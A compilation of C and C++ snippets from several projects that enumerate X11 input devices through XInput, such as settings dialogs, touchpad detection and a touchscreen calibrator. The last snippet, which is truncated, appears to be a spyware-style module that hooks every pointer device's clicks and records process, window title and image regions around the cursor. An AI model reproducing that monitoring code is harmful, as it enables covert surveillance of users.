/* * When this button is pressed, we need to disable all of the other items on * the page until the user clicks the button again. This starts a timer to * check keyboard state and update the settingsPTTKeyLabel to the key * combination value. Setting isDetectingKey to false will cause the timer * callback to stop running. * The timer callback is ManglerSettings::settingsPTTKeyDetect. */ void ManglerSettings::settingsPTTKeyButton_clicked_cb(void) {/*{{{*/ builder->get_widget("settingsPTTKeyButton", button); if (button->get_label() == "Set") { isDetectingKey = true; button->set_label("Done"); builder->get_widget("settingsCancelButton", button); button->set_sensitive(false); builder->get_widget("settingsApplyButton", button); button->set_sensitive(false); builder->get_widget("settingsOkButton", button); button->set_sensitive(false); Glib::signal_timeout().connect( sigc::mem_fun(*this, &ManglerSettings::settingsPTTKeyDetect), 100 ); } else { isDetectingKey = false; button->set_label("Set"); builder->get_widget("settingsCancelButton", button); button->set_sensitive(true); builder->get_widget("settingsApplyButton", button); button->set_sensitive(true); builder->get_widget("settingsOkButton", button); button->set_sensitive(true); builder->get_widget("settingsPTTKeyValueLabel", label); // if the text is as follows, the user pressed done without any keys // pressed down and reset it to the default text if (label->get_label() == PTT_KEY_SET) { label->set_markup(PTT_KEY_GET); } } }/*}}}*/ void ManglerSettings::settingsEnablePTTMouseCheckButton_toggled_cb(void) {/*{{{*/ builder->get_widget("settingsEnablePTTMouseCheckButton", checkbutton); if (checkbutton->get_active()) { // box was checked builder->get_widget("settingsPTTMouseLabel", label); label->set_sensitive(true); builder->get_widget("settingsPTTMouseValueLabel", label); label->set_sensitive(true); builder->get_widget("settingsPTTMouseButton", button); button->set_sensitive(true); builder->get_widget("settingsMouseDeviceLabel", label); label->set_sensitive(true); builder->get_widget("settingsMouseDeviceComboBox", combobox); combobox->set_sensitive(true); } else { // box was unchecked builder->get_widget("settingsPTTMouseLabel", label); label->set_sensitive(false); builder->get_widget("settingsPTTMouseValueLabel", label); label->set_sensitive(false); builder->get_widget("settingsPTTMouseButton", button); button->set_sensitive(false); builder->get_widget("settingsMouseDeviceLabel", label); label->set_sensitive(false); builder->get_widget("settingsMouseDeviceComboBox", combobox); combobox->set_sensitive(false); } }/*}}}*/ void ManglerSettings::settingsPTTMouseButton_clicked_cb(void) {/*{{{*/ isDetectingMouse = true; builder->get_widget("settingsPTTMouseValueLabel", label); label->set_markup(PTT_MOUSE_SET); builder->get_widget("settingsPTTMouseButton", button); button->set_sensitive(false); builder->get_widget("settingsCancelButton", button); button->set_sensitive(false); builder->get_widget("settingsApplyButton", button); button->set_sensitive(false); builder->get_widget("settingsOkButton", button); button->set_sensitive(false); builder->get_widget("settingsMouseDeviceComboBox", combobox); combobox->set_sensitive(false); Glib::signal_timeout().connect( sigc::mem_fun(*this, &ManglerSettings::settingsPTTMouseDetect), 100 ); }/*}}}*/ std::map<uint32_t, Glib::ustring> ManglerSettings::getInputDeviceList(void) {/*{{{*/ GdkWindow *rootwin = gdk_get_default_root_window(); XDeviceInfo *xdev; int ndevices_return; std::map<uint32_t, Glib::ustring> devicelist; xdev = XListInputDevices(GDK_WINDOW_XDISPLAY(rootwin), &ndevices_return); for (int ctr = 0; ctr < ndevices_return; ctr++) { if (xdev[ctr].use == IsXExtensionPointer) { devicelist[xdev[ctr].id] = xdev[ctr].name; } } XFreeDeviceList(xdev); return(devicelist); }/*}}}*/
static void synaptics_check_capabilities (GtkBuilder *dialog) { int numdevices, i; XDeviceInfo *devicelist; Atom realtype, prop; int realformat; unsigned long nitems, bytes_after; unsigned char *data; prop = XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), "Synaptics Capabilities", True); if (!prop) return; devicelist = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &numdevices); for (i = 0; i < numdevices; i++) { if (devicelist[i].use != IsXExtensionPointer) continue; gdk_error_trap_push (); XDevice *device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), devicelist[i].id); if (gdk_error_trap_pop ()) continue; gdk_error_trap_push (); if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device, prop, 0, 2, False, XA_INTEGER, &realtype, &realformat, &nitems, &bytes_after, &data) == Success) && (realtype != None)) { /* Property data is booleans for has_left, has_middle, has_right, has_double, has_triple. * Newer drivers (X.org/kerrnel) will also include has_pressure and has_width. */ if (!data[0]) { gtk_widget_set_sensitive (WID ("tap_to_click_toggle"), FALSE); } /* Disable two finger scrolling unless the hardware supports * double touch */ if (!(data[3])) gtk_widget_set_sensitive (WID ("two_finger_scroll_toggle"), FALSE); XFree (data); } gdk_error_trap_pop_ignored (); XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device); } XFreeDeviceList (devicelist); }
static gboolean device_type_is_present (InfoIdentifyFunc info_func, DeviceIdentifyFunc device_func) { XDeviceInfo *device_info; gint n_devices; guint i; gboolean retval; if (supports_xinput_devices () == FALSE) return TRUE; retval = FALSE; device_info = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &n_devices); if (device_info == NULL) return FALSE; for (i = 0; i < n_devices; i++) { XDevice *device; /* Check with the device info first */ retval = (info_func) (&device_info[i]); if (retval == FALSE) continue; /* If we only have an info func, we're done checking */ if (device_func == NULL) break; gdk_error_trap_push (); device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device_info[i].id); if (gdk_error_trap_pop () || (device == NULL)) continue; retval = (device_func) (device); if (retval) { XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device); break; } XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device); } XFreeDeviceList (device_info); return retval; }
int main(int argc, char** argv) { int nRtn; int bList = 0; UI* pUI=NULL, **ppUI; FORMAT* pFmt; FORMATTYPE fmt=FORMATTYPE_DEFAULT; const char* pa; Display* pDisp = NULL; const char* pszDeviceName = NULL; ++argv; pa = *(argv++); pszDeviceName = pa; /* device must be specified */ if (!pszDeviceName && !bList) { fprintf(stderr,"input_device not specified\n"); } /* default to first valid UI, if not specified */ if (pUI == NULL) pUI = gpUIs[0]; /* open connection to XServer with XInput */ pDisp = InitXInput(); if (!pDisp) exit(1); nRtn = Run(pDisp,pUI,fmt,pszDeviceName); /* release device list */ if (gpDevList) XFreeDeviceList(gpDevList); XCloseDisplay(pDisp); return nRtn; }
void XInputDriver::setup_xinput() { if (!xinput_is_present()) { std::cout << "debug: XInput extentsion not found" << std::endl; } else { int num_devices; XDeviceInfo* info = XListInputDevices(sys.info.x11.display, &num_devices); for(int i = 0; i < num_devices; ++i) { pout(PINGUS_DEBUG_INPUT) << "XInputDriver: Device name='" << info[i].name << "'" << std::endl; // FIXME: Xinput isn't necesarrily a mouse, could be anything //if (info[i].use == IsXExtensionDevice) // { devices.push_back(new XInputDevice(this, &info[i])); // } } XFreeDeviceList(info); } }
gboolean touchpad_is_present (void) { XDeviceInfo *device_info; gint n_devices; guint i; gboolean retval; if (supports_xinput_devices () == FALSE) return TRUE; retval = FALSE; device_info = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &n_devices); if (device_info == NULL) return FALSE; for (i = 0; i < n_devices; i++) { XDevice *device; gdk_error_trap_push (); device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device_info[i].id); if (gdk_error_trap_pop () || (device == NULL)) continue; retval = device_is_touchpad (device); if (retval) { XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device); break; } XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device); } XFreeDeviceList (device_info); return retval; }
static void synaptics_check_capabilities_x11 (CcMousePropertiesPrivate *d) { int numdevices, i; XDeviceInfo *devicelist; Atom realtype, prop_capabilities, prop_scroll_methods, prop_tapping_enabled; int realformat; unsigned long nitems, bytes_after; unsigned char *data; gboolean tap_to_click, two_finger_scroll; prop_capabilities = XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), "Synaptics Capabilities", False); prop_scroll_methods = XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), "libinput Scroll Methods Available", False); prop_tapping_enabled = XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), "libinput Tapping Enabled", False); if (!prop_capabilities || !prop_scroll_methods || !prop_tapping_enabled) return; tap_to_click = FALSE; two_finger_scroll = FALSE; devicelist = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &numdevices); for (i = 0; i < numdevices; i++) { if (devicelist[i].use != IsXExtensionPointer) continue; gdk_error_trap_push (); XDevice *device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), devicelist[i].id); if (gdk_error_trap_pop ()) continue; gdk_error_trap_push (); /* xorg-x11-drv-synaptics */ if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device, prop_capabilities, 0, 2, False, XA_INTEGER, &realtype, &realformat, &nitems, &bytes_after, &data) == Success) && (realtype != None)) { /* Property data is booleans for has_left, has_middle, has_right, has_double, has_triple. * Newer drivers (X.org/kerrnel) will also include has_pressure and has_width. */ /* Set tap_to_click_toggle sensitive only if the device has hardware buttons */ if (data[0]) tap_to_click = TRUE; /* Set two_finger_scroll_toggle sensitive if the hardware supports double touch */ if (data[3]) two_finger_scroll = TRUE; XFree (data); } /* xorg-x11-drv-libinput */ if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device, prop_scroll_methods, 0, 2, False, XA_INTEGER, &realtype, &realformat, &nitems, &bytes_after, &data) == Success) && (realtype != None)) { /* Property data is booleans for two-finger, edge, on-button scroll available. */ if (data[0] && data[1]) two_finger_scroll = TRUE; XFree (data); } if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device, prop_tapping_enabled, 0, 1, False, XA_INTEGER, &realtype, &realformat, &nitems, &bytes_after, &data) == Success) && (realtype != None)) { /* Property data is boolean for tapping enabled. */ tap_to_click = TRUE; XFree (data); } gdk_error_trap_pop_ignored (); XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device); } XFreeDeviceList (devicelist); gtk_widget_set_sensitive (WID ("tap_to_click_toggle"), tap_to_click); gtk_widget_set_sensitive (WID ("two_finger_scroll_toggle"), two_finger_scroll); }
int main(int argc, char * argv[]) { int loop, num_extensions, num_devices; char **extensions; XDeviceInfo *devices; Display *dpy; Window root_win; unsigned long screen; int list = 0; if (argc != 3) { fprintf(stderr, "usage : %s <device name> (ABSOLUTE|RELATIVE)\n", argv[0]); exit(1); } if (strcmp(argv[1], "-l") == 0) { list = 1; } dpy = XOpenDisplay(NULL); if (!dpy) { printf("unable to connect to X Server try to set the DISPLAY variable\n"); exit(1); } #ifdef DEBUG printf("connected to %s\n", XDisplayString(dpy)); #endif screen = DefaultScreen(dpy); root_win = RootWindow(dpy, screen); extensions = XListExtensions(dpy, &num_extensions); for (loop = 0; loop < num_extensions && (strcmp(extensions[loop], "XInputExtension") != 0); loop++); XFreeExtensionList(extensions); if (loop != num_extensions) { devices = XListInputDevices(dpy, &num_devices); for(loop=0; loop<num_devices; loop++) { if (devices[loop].name && (StrCaseCmp(devices[loop].name, argv[1]) == 0)) if (devices[loop].use == IsXExtensionDevice) { XDevice *device; #ifdef DEBUG fprintf(stderr, "opening device %s\n", devices[loop].name ? devices[loop].name : "<noname>"); #endif device = XOpenDevice(dpy, devices[loop].id); if (device) { XSetDeviceMode(dpy, device, (strcmp("ABSOLUTE", argv[2]) == 0) ? Absolute : Relative); exit(0); } else { fprintf(stderr, "error opening device\n"); exit(1); } } } XFreeDeviceList(devices); } else { fprintf(stderr, "No XInput extension available\n"); exit(1); } if (list) { exit(0); } else { fprintf(stderr, "Extended device %s not found\n", argv[1]); exit(1); } }
static XDevice * dp_get_device(Display *dpy) { XDevice* dev = NULL; XDeviceInfo *info = NULL; int ndevices = 0; Atom touchpad_type = 0; Atom synaptics_property = 0; Atom *properties = NULL; int nprops = 0; int error = 0; touchpad_type = XInternAtom(dpy, XI_TOUCHPAD, True); synaptics_property = XInternAtom(dpy, SYNAPTICS_PROP_EDGES, True); info = XListInputDevices(dpy, &ndevices); while(ndevices--) { if (info[ndevices].type == touchpad_type) { dev = XOpenDevice(dpy, info[ndevices].id); if (!dev) { fprintf(stderr, "Failed to open device '%s'.\n", info[ndevices].name); error = 1; goto unwind; } properties = XListDeviceProperties(dpy, dev, &nprops); if (!properties || !nprops) { fprintf(stderr, "No properties on device '%s'.\n", info[ndevices].name); error = 1; goto unwind; } while(nprops--) { if (properties[nprops] == synaptics_property) break; } if (!nprops) { fprintf(stderr, "No synaptics properties on device '%s'.\n", info[ndevices].name); error = 1; goto unwind; } break; /* Yay, device is suitable */ } } unwind: XFree(properties); XFreeDeviceList(info); if (error && dev) { XCloseDevice(dpy, dev); dev = NULL; } return dev; }
/** * find a calibratable touchscreen device (using XInput) * * if pre_device is NULL, the last calibratable device is selected. * retuns number of devices found, * the data of the device is returned in the last 3 function parameters */ int Calibrator::find_device(const char* pre_device, bool list_devices, XID& device_id, const char*& device_name, XYinfo& device_axys) { bool pre_device_is_id = true; bool pre_device_is_sysfs = false; int found = 0; Display* display = XOpenDisplay(NULL); if (display == NULL) { fprintf(stderr, "Unable to connect to X server\n"); exit(1); } int xi_opcode, event, error; if (!XQueryExtension(display, "XInputExtension", &xi_opcode, &event, &error)) { fprintf(stderr, "X Input extension not available.\n"); exit(1); } // verbose, get Xi version if (verbose) { XExtensionVersion *version = XGetExtensionVersion(display, INAME); if (version && (version != (XExtensionVersion*) NoSuchExtension)) { printf("DEBUG: %s version is %i.%i\n", INAME, version->major_version, version->minor_version); XFree(version); } } if (pre_device != NULL) { // check whether the pre_device is an ID (only digits) int len = strlen(pre_device); for (int loop=0; loop<len; loop++) { if (!isdigit(pre_device[loop])) { pre_device_is_id = false; break; } } } std::string pre_device_sysfs; if (pre_device != NULL && !pre_device_is_id) { /* avoid overflow below - 10000 devices should be OK */ if ( strlen(pre_device) < strlen("event") + 4 && strncmp(pre_device, "event", strlen("event")) == 0 ) { // check whether the pre_device is an sysfs-path name char filename[40]; // actually 35, but hey... (void) sprintf(filename, "%s/%s/%s", SYSFS_INPUT, pre_device, SYSFS_DEVNAME); std::ifstream ifile(filename); if (ifile.is_open()) { if (!ifile.eof()) { pre_device_is_sysfs = true; std::getline(ifile, pre_device_sysfs); ifile.close(); } } } } if (verbose) printf("DEBUG: Skipping virtual master devices and devices without axis valuators.\n"); int ndevices; XDeviceInfoPtr list, slist; slist=list=(XDeviceInfoPtr) XListInputDevices (display, &ndevices); for (int i=0; i<ndevices; i++, list++) { if (list->use == IsXKeyboard || list->use == IsXPointer) // virtual master device continue; // if we are looking for a specific device if (pre_device != NULL) { if ((pre_device_is_id && list->id == (XID) atoi(pre_device)) || (!pre_device_is_id && strcmp(list->name, pre_device_is_sysfs ? pre_device_sysfs.c_str() : pre_device ) == 0)) { // OK, fall through } else { // skip, not this device continue; } } XAnyClassPtr any = (XAnyClassPtr) (list->inputclassinfo); for (int j=0; j<list->num_classes; j++) { if (any->c_class == ValuatorClass) { XValuatorInfoPtr V = (XValuatorInfoPtr) any; XAxisInfoPtr ax = (XAxisInfoPtr) V->axes; if (V->mode != Absolute) { if (verbose) printf("DEBUG: Skipping device '%s' id=%i, does not report Absolute events.\n", list->name, (int)list->id); } else if (V->num_axes < 2 || (ax[0].min_value == -1 && ax[0].max_value == -1) || (ax[1].min_value == -1 && ax[1].max_value == -1)) { if (verbose) printf("DEBUG: Skipping device '%s' id=%i, does not have two calibratable axes.\n", list->name, (int)list->id); } else { /* a calibratable device (has 2 axis valuators) */ found++; device_id = list->id; device_name = my_strdup(list->name); device_axys.x.min = ax[0].min_value; device_axys.x.max = ax[0].max_value; device_axys.y.min = ax[1].min_value; device_axys.y.max = ax[1].max_value; if (list_devices) printf("Device \"%s\" id=%i\n", device_name, (int)device_id); } } /* * Increment 'any' to point to the next item in the linked * list. The length is in bytes, so 'any' must be cast to * a character pointer before being incremented. */ any = (XAnyClassPtr) ((char *) any + any->length); } } XFreeDeviceList(slist); XCloseDisplay(display); return found; }
int main (int argc, char **argv) { gboolean supports_xinput; gboolean has_touchpad, has_touchscreen, has_trackball; XDeviceInfo *device_info; gint n_devices, opcode; guint i; gtk_init (&argc, &argv); supports_xinput = supports_xinput_devices (); if (supports_xinput) { g_print ("Supports XInput:\t\t\tyes\n"); } else { g_print ("Supports XInput:\t\t\tno\n"); return 0; } supports_xinput = supports_xinput2_devices (&opcode); if (supports_xinput) { g_print ("Supports XInput2:\t\t\tyes (opcode: %d)\n", opcode); } else { g_print ("Supports XInput2:\t\t\tno\n"); return 0; } has_touchpad = touchpad_is_present (); g_print ("Has touchpad:\t\t\t\t%s\n", has_touchpad ? "yes" : "no"); has_touchscreen = touchscreen_is_present (); g_print ("Has touchscreen:\t\t\t%s\n", has_touchscreen ? "yes" : "no"); has_trackball = trackball_is_present (); g_print ("Has trackball:\t\t\t\t%s\n", has_trackball ? "yes" : "no"); device_info = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &n_devices); if (device_info == NULL) { g_warning ("Has no input devices"); return 1; } print_disabled_devices (); for (i = 0; i < n_devices; i++) { XDevice *device; if (device_info_is_touchscreen (&device_info[i])) { g_print ("Device %d is touchscreen:\t\t%s\n", (int) device_info[i].id, "yes"); continue; } if (device_info_is_trackball (&device_info[i])) { g_print ("Device %d is trackball:\t\t\t%s\n", (int) device_info[i].id, "yes"); continue; } if (device_info_is_tablet (&device_info[i])) { g_print ("Device %d is tablet:\t\t\t%s\n", (int) device_info[i].id, "yes"); continue; } gdk_error_trap_push (); device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device_info[i].id); if (gdk_error_trap_pop () || (device == NULL)) continue; if (device_is_touchpad (device)) g_print ("Device %d is touchpad:\t\t%s\n", (int) device_info[i].id, "yes"); else { int tool_id; tool_id = xdevice_get_last_tool_id (device_info[i].id); if (tool_id >= 0x0) g_print ("Device %d is touchpad/touchscreen:\t%s (tool ID: 0x%x)\n", (int) device_info[i].id, "no", tool_id); else g_print ("Device %d is touchpad/touchscreen:\t%s\n", (int) device_info[i].id, "no"); } XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device); } XFreeDeviceList (device_info); return 0; }
/** * find a calibratable touchscreen device (using XInput) * * if pre_device is NULL, the last calibratable device is selected. * retuns number of devices found, * the data of the device is returned in the last 3 function parameters */ int Calibrator::find_device(const char* pre_device, bool list_devices, XID& device_id, const char*& device_name, XYinfo& device_axys) { bool pre_device_is_id = true; int found = 0; Display* display = XOpenDisplay(NULL); if (display == NULL) { fprintf(stderr, "Unable to connect to X server\n"); exit(1); } int xi_opcode, event, error; if (!XQueryExtension(display, "XInputExtension", &xi_opcode, &event, &error)) { fprintf(stderr, "X Input extension not available.\n"); exit(1); } // verbose, get Xi version if (verbose) { XExtensionVersion *version = XGetExtensionVersion(display, INAME); if (version && (version != (XExtensionVersion*) NoSuchExtension)) { printf("DEBUG: %s version is %i.%i\n", INAME, version->major_version, version->minor_version); XFree(version); } } if (pre_device != NULL) { // check whether the pre_device is an ID (only digits) int len = strlen(pre_device); for (int loop=0; loop<len; loop++) { if (!isdigit(pre_device[loop])) { pre_device_is_id = false; break; } } } if (verbose) printf("DEBUG: Skipping virtual master devices and devices without axis valuators.\n"); int ndevices; XDeviceInfoPtr list, slist; slist=list=(XDeviceInfoPtr) XListInputDevices (display, &ndevices); for (int i=0; i<ndevices; i++, list++) { if (list->use == IsXKeyboard || list->use == IsXPointer) // virtual master device continue; // if we are looking for a specific device if (pre_device != NULL) { if ((pre_device_is_id && list->id == (XID) atoi(pre_device)) || (!pre_device_is_id && strcmp(list->name, pre_device) == 0)) { // OK, fall through } else { // skip, not this device continue; } } XAnyClassPtr any = (XAnyClassPtr) (list->inputclassinfo); for (int j=0; j<list->num_classes; j++) { if (any->c_class == ValuatorClass) { XValuatorInfoPtr V = (XValuatorInfoPtr) any; XAxisInfoPtr ax = (XAxisInfoPtr) V->axes; unsigned int axis_count = 0; if (V->mode != Absolute) { if (verbose) printf("DEBUG: Skipping device '%s' id=%i, does not report Absolute events.\n", list->name, (int)list->id); } else { for (int k=0; k<V->num_axes; k++) if (! (ax[k].min_value == -1 && ax[k].max_value == -1)) axis_count++; if (axis_count < 2) { if (verbose) printf("DEBUG: Skipping device '%s' id=%i, does not have two calibratable axes (%u).\n", list->name, (int)list->id, axis_count); /* Note that devices with more than eight calibratable axes * can be calibrated explicitly, but will not be * automatically selected for calibration. This heuristic * causes some devices that are not really pointer devices * but sometimes appear to be (e.g. some USB keyboards) to * be skipped. */ } else if (pre_device == NULL && axis_count > 8) { if (verbose) printf("DEBUG: Skipping device '%s' id=%i, has more than eight calibratable axes (%u).\n", list->name, (int)list->id, axis_count); } else { /* a calibratable device */ found++; device_id = list->id; device_name = my_strdup(list->name); device_axys.x.min = ax[0].min_value; device_axys.x.max = ax[0].max_value; device_axys.y.min = ax[1].min_value; device_axys.y.max = ax[1].max_value; if (list_devices) printf("Device \"%s\" id=%i\n", device_name, (int)device_id); } } } /* * Increment 'any' to point to the next item in the linked * list. The length is in bytes, so 'any' must be cast to * a character pointer before being incremented. */ any = (XAnyClassPtr) ((char *) any + any->length); } } XFreeDeviceList(slist); XCloseDisplay(display); return found; }
JNIEXPORT void JNICALL Java_com_turbovnc_vncviewer_Viewport_setupExtInput (JNIEnv *env, jobject obj) { jclass cls, eidcls; jfieldID fid; jmethodID mid; Display *dpy = NULL; Window win = 0; XDeviceInfo *devInfo = NULL; XDevice *device = NULL; int nDevices = 0, i, ci, ai, nEvents = 0; int buttonPressType = -1, buttonReleaseType = -1, motionType = -1; XEventClass events[100] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}; jobject extInputDevice; if ((dpy = XOpenDisplay(NULL)) == NULL) _throw("Could not open X display"); bailif0(cls = (*env)->GetObjectClass(env, obj)); bailif0(fid = (*env)->GetFieldID(env, cls, "x11win", "J")); if ((win = (Window)(*env)->GetLongField(env, obj, fid)) == 0) _throw("X window handle has not been initialized"); if ((devInfo = XListInputDevices(dpy, &nDevices)) == NULL) _throw("Could not list XI devices"); for (i = 0; i < nDevices; i++) { char *type; XAnyClassPtr classInfo = devInfo[i].inputclassinfo; CARD32 canGenerate = 0, productID = 0; if (devInfo[i].use != IsXExtensionPointer) continue; if (devInfo[i].type == None) continue; type = XGetAtomName(dpy, devInfo[i].type); if (!strcmp(type, "MOUSE")) { XFree(type); continue; } /* TurboVNC-specific: we use productID to represent the device type, so we can recreate it on the server */ if (!strcmp(type, "CURSOR")) productID = rfbGIIDevTypeCursor; else if (!strcmp(type, "STYLUS")) productID = rfbGIIDevTypeStylus; else if (!strcmp(type, "ERASER")) productID = rfbGIIDevTypeEraser; else if (!strcmp(type, "TOUCH")) productID = rfbGIIDevTypeTouch; else if (!strcmp(type, "PAD")) productID = rfbGIIDevTypePad; XFree(type); bailif0(eidcls = (*env)->FindClass(env, "com/turbovnc/rfb/ExtInputDevice")); bailif0(extInputDevice = (*env)->AllocObject(env, eidcls)); SET_STRING(eidcls, extInputDevice, name, devInfo[i].name); SET_LONG(eidcls, extInputDevice, vendorID, 4242); SET_LONG(eidcls, extInputDevice, productID, productID); SET_LONG(eidcls, extInputDevice, id, devInfo[i].id); for (ci = 0; ci < devInfo[i].num_classes; ci++) { switch (classInfo->class) { case ButtonClass: { XButtonInfoPtr b = (XButtonInfoPtr)classInfo; SET_INT(eidcls, extInputDevice, numButtons, b->num_buttons); canGenerate |= rfbGIIButtonPressMask | rfbGIIButtonReleaseMask; break; } case ValuatorClass: { XValuatorInfoPtr v = (XValuatorInfoPtr)classInfo; jclass valcls; bailif0(valcls = (*env)->FindClass(env, "com/turbovnc/rfb/ExtInputDevice$Valuator")); if (v->mode == Absolute) canGenerate |= rfbGIIValuatorAbsoluteMask; else if (v->mode == Relative) canGenerate |= rfbGIIValuatorRelativeMask; for (ai = 0; ai < v->num_axes; ai++) { jobject valuator; XAxisInfoPtr a = &v->axes[ai]; char longName[75], shortName[5]; bailif0(valuator = (*env)->AllocObject(env, valcls)); SET_INT(valcls, valuator, index, ai); snprintf(longName, 75, "Valuator %d", ai); SET_STRING(valcls, valuator, longName, longName); snprintf(shortName, 5, "%d", ai); SET_STRING(valcls, valuator, shortName, shortName); SET_INT(valcls, valuator, rangeMin, a->min_value); SET_INT(valcls, valuator, rangeCenter, (a->min_value + a->max_value) / 2); SET_INT(valcls, valuator, rangeMax, a->max_value); SET_INT(valcls, valuator, siUnit, rfbGIIUnitLength); SET_INT(valcls, valuator, siDiv, a->resolution); bailif0(mid = (*env)->GetMethodID(env, eidcls, "addValuator", "(Lcom/turbovnc/rfb/ExtInputDevice$Valuator;)V")); (*env)->CallVoidMethod(env, extInputDevice, mid, valuator); } break; } } classInfo = (XAnyClassPtr)((char *)classInfo + classInfo->length); } SET_LONG(eidcls, extInputDevice, canGenerate, canGenerate); if (canGenerate & rfbGIIValuatorAbsoluteMask) SET_BOOL(eidcls, extInputDevice, absolute, 1); if ((device = XOpenDevice(dpy, devInfo[i].id)) == NULL) _throw("Could not open XI device"); for (ci = 0; ci < device->num_classes; ci++) { if (device->classes[ci].input_class == ButtonClass) { DeviceButtonPress(device, buttonPressType, events[nEvents]); nEvents++; DeviceButtonRelease(device, buttonReleaseType, events[nEvents]); nEvents++; } else if (device->classes[ci].input_class == ValuatorClass) { DeviceMotionNotify(device, motionType, events[nEvents]); nEvents++; } } XCloseDevice(dpy, device); device=NULL; bailif0(mid = (*env)->GetMethodID(env, cls, "addInputDevice", "(Lcom/turbovnc/rfb/ExtInputDevice;)V")); (*env)->CallVoidMethod(env, obj, mid, extInputDevice); } XFreeDeviceList(devInfo); devInfo = NULL; if (nEvents == 0) { printf("No extended input devices.\n"); goto bailout; } if (XSelectExtensionEvent(dpy, win, events, nEvents)) _throw("Could not select XI events"); SET_INT(cls, obj, buttonPressType, buttonPressType); SET_INT(cls, obj, buttonReleaseType, buttonReleaseType); SET_INT(cls, obj, motionType, motionType); SET_LONG(cls, obj, x11dpy, (jlong)dpy); printf("TurboVNC Helper: Listening for XInput events on %s (window 0x%.8x)\n", DisplayString(dpy), (unsigned int)win); bailout: if (dpy && device) XCloseDevice(dpy, device); if (devInfo) XFreeDeviceList(devInfo); }
int main(int argc, char * argv[]) { int loop, num_extensions, num_devices; char **extensions; XDeviceInfo *devices; Display *dpy; Window root_win; unsigned long screen; int list = 0; if (argc != 2) { fprintf(stderr, "usage : %s (-l | <device name>)\n", argv[0]); exit(1); } if (strcmp(argv[1], "-l") == 0) { list = 1; } dpy = XOpenDisplay(NULL); if (!dpy) { printf("unable to connect to X Server try to set the DISPLAY variable\n"); exit(1); } #ifdef DEBUG printf("connected to %s\n", XDisplayString(dpy)); #endif screen = DefaultScreen(dpy); root_win = RootWindow(dpy, screen); extensions = XListExtensions(dpy, &num_extensions); for (loop = 0; loop < num_extensions && (strcmp(extensions[loop], "XInputExtension") != 0); loop++); XFreeExtensionList(extensions); if (loop != num_extensions) { devices = XListInputDevices(dpy, &num_devices); for(loop=0; loop<num_devices; loop++) { if (list) { printf("\"%s\" [", devices[loop].name ? devices[loop].name : "<noname>"); switch(devices[loop].use) { case IsXPointer: printf("XPointer]\n"); break; case IsXKeyboard: printf("XKeyboard]\n"); break; case IsXExtensionDevice: printf("XExtensionDevice]\n"); break; default: printf("invalid value]\n"); break; } } else { if ((argc == 2) && devices[loop].name && (StrCaseCmp(devices[loop].name, argv[1]) == 0)) if (devices[loop].use == IsXExtensionDevice) { XDevice *device; #ifdef DEBUG fprintf(stderr, "opening device %s\n", devices[loop].name ? devices[loop].name : "<noname>"); #endif device = XOpenDevice(dpy, devices[loop].id); if (device) { XChangePointerDevice(dpy, device, 0, 1); exit(0); } else { fprintf(stderr, "error opening device\n"); exit(1); } } } } XFreeDeviceList(devices); } else { fprintf(stderr, "No XInput extension available\n"); exit(1); } if (list) { exit(0); } else { fprintf(stderr, "Extended device %s not found\n", argv[1]); exit(1); } }
void *module_mouse_main(void *args) { Display *display = NULL; int i, devnum = 0, mousenum = 0, buttonrelease = 0; XDeviceInfo *devinfo = NULL; XDevice **device = NULL; XEventClass evlist; XEvent event; Window root, child; int rootX, rootY, childX, childY; unsigned int mask; XWindowAttributes wininfo; int maxfd = -1, xfd = -1; int width = 40, height = 40; char *process = NULL, *title = NULL; int imgx, imgy, imgw, imgh; fd_set rfds; struct additional a; BIO *bio_additional = NULL; char *additionalptr, *dataptr = NULL; long additionallen, datalen = 0; debugme("Module MOUSE started\n"); if(initlib(INIT_LIBXI|INIT_LIBJPEG)) return NULL; if(MODULE_MOUSE_P) { width = MODULE_MOUSE_P->width; height = MODULE_MOUSE_P->height; } do { if((display = XOpenDisplay(NULL)) == NULL) break; if((xfd = ConnectionNumber(display)) < 0) break; if(!(devinfo = XListInputDevices(display, &devnum)) || !devnum) break; if(!(device = calloc(devnum, sizeof(XDevice *)))) break; if(!(bio_additional = BIO_new(BIO_s_mem()))) break; for(i = 0; i < devnum; i++) { if(devinfo[i].use == IsXExtensionPointer) { if(!(device[i] = XOpenDevice(display, devinfo[i].id))) continue; DeviceButtonRelease(device[i], buttonrelease, evlist); XSelectExtensionEvent(display, DefaultRootWindow(display), &evlist, 1); mousenum++; } } if(!mousenum) break; maxfd = MAX(xfd, MODULE_MOUSE.event) + 1; while(MODULE_MOUSE.status != MODULE_STOPPING) { do { if(!XPending(display)) { FD_ZERO(&rfds); FD_SET(xfd, &rfds); FD_SET(MODULE_MOUSE.event, &rfds); if(select(maxfd, &rfds, NULL, NULL, NULL) == 